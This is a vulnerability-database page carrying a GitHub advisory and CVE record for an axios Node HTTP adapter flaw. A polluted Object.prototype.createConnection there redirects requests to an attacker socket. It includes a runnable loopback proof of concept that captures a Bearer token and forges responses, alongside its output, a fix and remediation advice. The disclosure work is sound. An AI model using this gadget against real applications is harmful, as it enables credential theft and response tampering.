Vulnerability-Lookup

GHSA-M8M8-QJ5V-23W3

Vulnerability from github – Published: 2026-09-30 15:32 – Updated: 2026-09-30 15:32

Summary

Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection

Details

Summary

Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.

Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.

Impact

Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.

This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.

Affected Functionality

Affected:

Node.js HTTP adapter.
HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe createConnection.
Processes where Object.prototype.createConnection is polluted.

Not affected:

Browser adapters.
Processes without prototype pollution.
Requests using a custom trusted transport that ignores inherited createConnection and sanitizes options internally.

Technical Details

lib/adapters/http.js creates:

const options = Object.assign(Object.create(null), {
  path,
  method,
  headers,
  agents: { http: httpAgent, https: httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.createConnection = function (_options, cb) {
  const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
    if (typeof cb === 'function') cb(null, socket);
  });
  return socket;
};

await axios.get('http://127.0.0.1:<legit-port>/secret', {
  headers: { Authorization: 'Bearer SECRET' },
  proxy: false
});

Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.

Workarounds

Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.

Original report

## Summary Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process. When `Object.prototype.createConnection` is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with `Object.create(null)`. The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled. This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process. ## Impact Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive: - redirect the underlying socket for axios requests to attacker-controlled infrastructure - receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials - return attacker-controlled responses to the caller - bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted `Object.prototype` from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary. ## Technical details The HTTP adapter constructs a null-prototype request options object before calling the selected transport:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from `Object.prototype` again. `createConnection` is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket. ## Reproduction The following minimal proof uses a legitimate target server and an attacker server. It pollutes `Object.prototype.createConnection`, then makes an axios request to the legitimate server with an Authorization header.

import net from 'node:net';
import http from 'node:http';
import axios from 'axios';

function listen(handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(0, '127.0.0.1', () => resolve(s));
  });
}

const legitHits = [];
const attackerHits = [];

const legit = await listen((req, res) => {
  legitHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('LEGIT');
});

const attacker = await listen((req, res) => {
  attackerHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('ATTACKER');
});

Object.prototype.createConnection = function(options, cb) {
  const sock = net.createConnection({
    host: '127.0.0.1',
    port: attacker.address().port,
  }, () => {
    if (typeof cb === 'function') cb(null, sock);
  });
  return sock;
};

const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
  headers: {Authorization: 'Bearer SECRET'},
  proxy: false,
});

console.log({
  response: res.data,
  legitHits,
  attackerHits,
});

Observed result on the current npm package:

{
  "response": "ATTACKER",
  "legitHits": [],
  "attackerHits": [
    {
      "url": "/secret",
      "auth": "Bearer SECRET"
    }
  ]
}

The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios. ## Versions tested I reproduced this against: - axios 1.16.1 from npm - axios 1.17.0 from npm - current `v1.x` source at commit `a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b` ## Fix validation Adding an own safe value for `createConnection` to the adapter options object prevents inherited pollution from being observed after Node's option copy:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
  createConnection: undefined,
});

With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response. ## Remediation Set own safe defaults for sensitive Node HTTP request options before calling `transport.request`, at minimum:

createConnection: undefined

I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as `lookup`, `timeout`, `localAddress`, `servername`, `signal`, and related options.

Severity

7.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.2"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:32:51Z",
    "nvd_published_at": "2026-09-28T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAxios\u0027 Node HTTP adapter can act as a read-side prototype-pollution gadget for Node\u0027s sensitive `createConnection` request option. The adapter creates a null-prototype options object, but Node\u0027s HTTP client can copy or normalize request options into ordinary objects before connection creation. If `Object.prototype.createConnection` has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.\n\nAxios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.\n\n## Impact\n\nGiven a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.\n\nThis can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter.\n- HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe `createConnection`.\n- Processes where `Object.prototype.createConnection` is polluted.\n\nNot affected:\n\n- Browser adapters.\n- Processes without prototype pollution.\n- Requests using a custom trusted transport that ignores inherited `createConnection` and sanitizes options internally.\n\n## Technical Details\n\n`lib/adapters/http.js` creates:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method,\n  headers,\n  agents: { http: httpAgent, https: httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n});\n```\n\nThe object does not include an own `createConnection` property. Local verification on axios `1.18.1` polluted `Object.prototype.createConnection` to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker\u0027s response; the legitimate server received no request and the attacker server received `Bearer SECRET`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.createConnection = function (_options, cb) {\n  const socket = net.createConnection({ host: \u0027127.0.0.1\u0027, port: attackerPort }, () =\u003e {\n    if (typeof cb === \u0027function\u0027) cb(null, socket);\n  });\n  return socket;\n};\n\nawait axios.get(\u0027http://127.0.0.1:\u003clegit-port\u003e/secret\u0027, {\n  headers: { Authorization: \u0027Bearer SECRET\u0027 },\n  proxy: false\n});\n```\n\nExpected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.\n\n## Workarounds\n\nRun axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nAxios\u0027 Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.\n\nWhen `Object.prototype.createConnection` is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with `Object.create(null)`. The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.\n\nThis allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.\n\n## Impact\n\nGiven an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:\n\n- redirect the underlying socket for axios requests to attacker-controlled infrastructure\n- receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials\n- return attacker-controlled responses to the caller\n- bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere\n\nThe important boundary here is axios\u0027 documented/read-side prototype-pollution hardening. The project threat model discusses polluted `Object.prototype` from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.\n\n## Technical details\n\nThe HTTP adapter constructs a null-prototype request options object before calling the selected transport:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method: method,\n  headers: toByteStringHeaderObject(headers),\n  agents: { http: config.httpAgent, https: config.httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n});\n```\n\nThat prevents direct inherited reads while the options object remains null-prototype. However, Node\u0027s HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from `Object.prototype` again.\n\n`createConnection` is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.\n\n## Reproduction\n\nThe following minimal proof uses a legitimate target server and an attacker server. It pollutes `Object.prototype.createConnection`, then makes an axios request to the legitimate server with an Authorization header.\n\n```js\nimport net from \u0027node:net\u0027;\nimport http from \u0027node:http\u0027;\nimport axios from \u0027axios\u0027;\n\nfunction listen(handler) {\n  return new Promise(resolve =\u003e {\n    const s = http.createServer(handler);\n    s.listen(0, \u0027127.0.0.1\u0027, () =\u003e resolve(s));\n  });\n}\n\nconst legitHits = [];\nconst attackerHits = [];\n\nconst legit = await listen((req, res) =\u003e {\n  legitHits.push({url: req.url, auth: req.headers.authorization || null});\n  res.end(\u0027LEGIT\u0027);\n});\n\nconst attacker = await listen((req, res) =\u003e {\n  attackerHits.push({url: req.url, auth: req.headers.authorization || null});\n  res.end(\u0027ATTACKER\u0027);\n});\n\nObject.prototype.createConnection = function(options, cb) {\n  const sock = net.createConnection({\n    host: \u0027127.0.0.1\u0027,\n    port: attacker.address().port,\n  }, () =\u003e {\n    if (typeof cb === \u0027function\u0027) cb(null, sock);\n  });\n  return sock;\n};\n\nconst res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {\n  headers: {Authorization: \u0027Bearer SECRET\u0027},\n  proxy: false,\n});\n\nconsole.log({\n  response: res.data,\n  legitHits,\n  attackerHits,\n});\n```\n\nObserved result on the current npm package:\n\n```json\n{\n  \"response\": \"ATTACKER\",\n  \"legitHits\": [],\n  \"attackerHits\": [\n    {\n      \"url\": \"/secret\",\n      \"auth\": \"Bearer SECRET\"\n    }\n  ]\n}\n```\n\nThe request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.\n\n## Versions tested\n\nI reproduced this against:\n\n- axios 1.16.1 from npm\n- axios 1.17.0 from npm\n- current `v1.x` source at commit `a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b`\n\n## Fix validation\n\nAdding an own safe value for `createConnection` to the adapter options object prevents inherited pollution from being observed after Node\u0027s option copy:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method: method,\n  headers: toByteStringHeaderObject(headers),\n  agents: { http: config.httpAgent, https: config.httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n  createConnection: undefined,\n});\n```\n\nWith that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.\n\n## Remediation\n\nSet own safe defaults for sensitive Node HTTP request options before calling `transport.request`, at minimum:\n\n```js\ncreateConnection: undefined\n```\n\nI recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as `lookup`, `timeout`, `localAddress`, `servername`, `signal`, and related options.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-m8m8-qj5v-23w3",
  "modified": "2026-09-30T15:32:52Z",
  "published": "2026-09-30T15:32:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection"
}

CVE-2026-101905 (GCVE-0-2026-101905)

Vulnerability from cvelistv5 – Published: 2026-09-28 17:31 – Updated: 2026-09-28 17:31

Title

Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection

Summary

Axios is a promise-based HTTP client for the browser and Node.js. From 1.15.2 until 1.20.0, the Node HTTP adapter in lib/adapters/http.js supplies request options without an own createConnection value. A separate same-process prototype-pollution flaw places a function on Object.prototype.createConnection. Node resolves and invokes the inherited createConnection socket factory, allowing the attacker-controlled function to select the transport endpoint. The attacker endpoint can receive request headers and bodies, including credentials, and return attacker-controlled responses while the URL appears legitimate. This issue is fixed in version 1.20.0.

Severity

7.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/axios/axios/security/advisorie…	x_refsource_CONFIRM
https://github.com/axios/axios/pull/11141	x_refsource_MISC
https://github.com/axios/axios/commit/d19040bda7a…	x_refsource_MISC
https://github.com/axios/axios/releases/tag/v1.20.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
axios	axios	Affected: >= 1.15.2, < 1.20.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "axios",
          "vendor": "axios",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.15.2, \u003c 1.20.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.15.2 until 1.20.0, the Node HTTP adapter in lib/adapters/http.js supplies request options without an own createConnection value. A separate same-process prototype-pollution flaw places a function on Object.prototype.createConnection. Node resolves and invokes the inherited createConnection socket factory, allowing the attacker-controlled function to select the transport endpoint. The attacker endpoint can receive request headers and bodies, including credentials, and return attacker-controlled responses while the URL appears legitimate. This issue is fixed in version 1.20.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 7.6,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-441",
              "description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1321",
              "description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-28T17:31:00.916Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3"
        },
        {
          "name": "https://github.com/axios/axios/pull/11141",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/axios/axios/pull/11141"
        },
        {
          "name": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
        },
        {
          "name": "https://github.com/axios/axios/releases/tag/v1.20.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
        }
      ],
      "source": {
        "advisory": "GHSA-m8m8-qj5v-23w3",
        "discovery": "UNKNOWN"
      },
      "title": "Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-101905",
    "datePublished": "2026-09-28T17:31:00.916Z",
    "dateReserved": "2026-09-28T15:55:37.907Z",
    "dateUpdated": "2026-09-28T17:31:00.916Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-M8M8-QJ5V-23W3

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Original report

CVE-2026-101905 (GCVE-0-2026-101905)

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Sightings

Nomenclature

Related by attack behaviour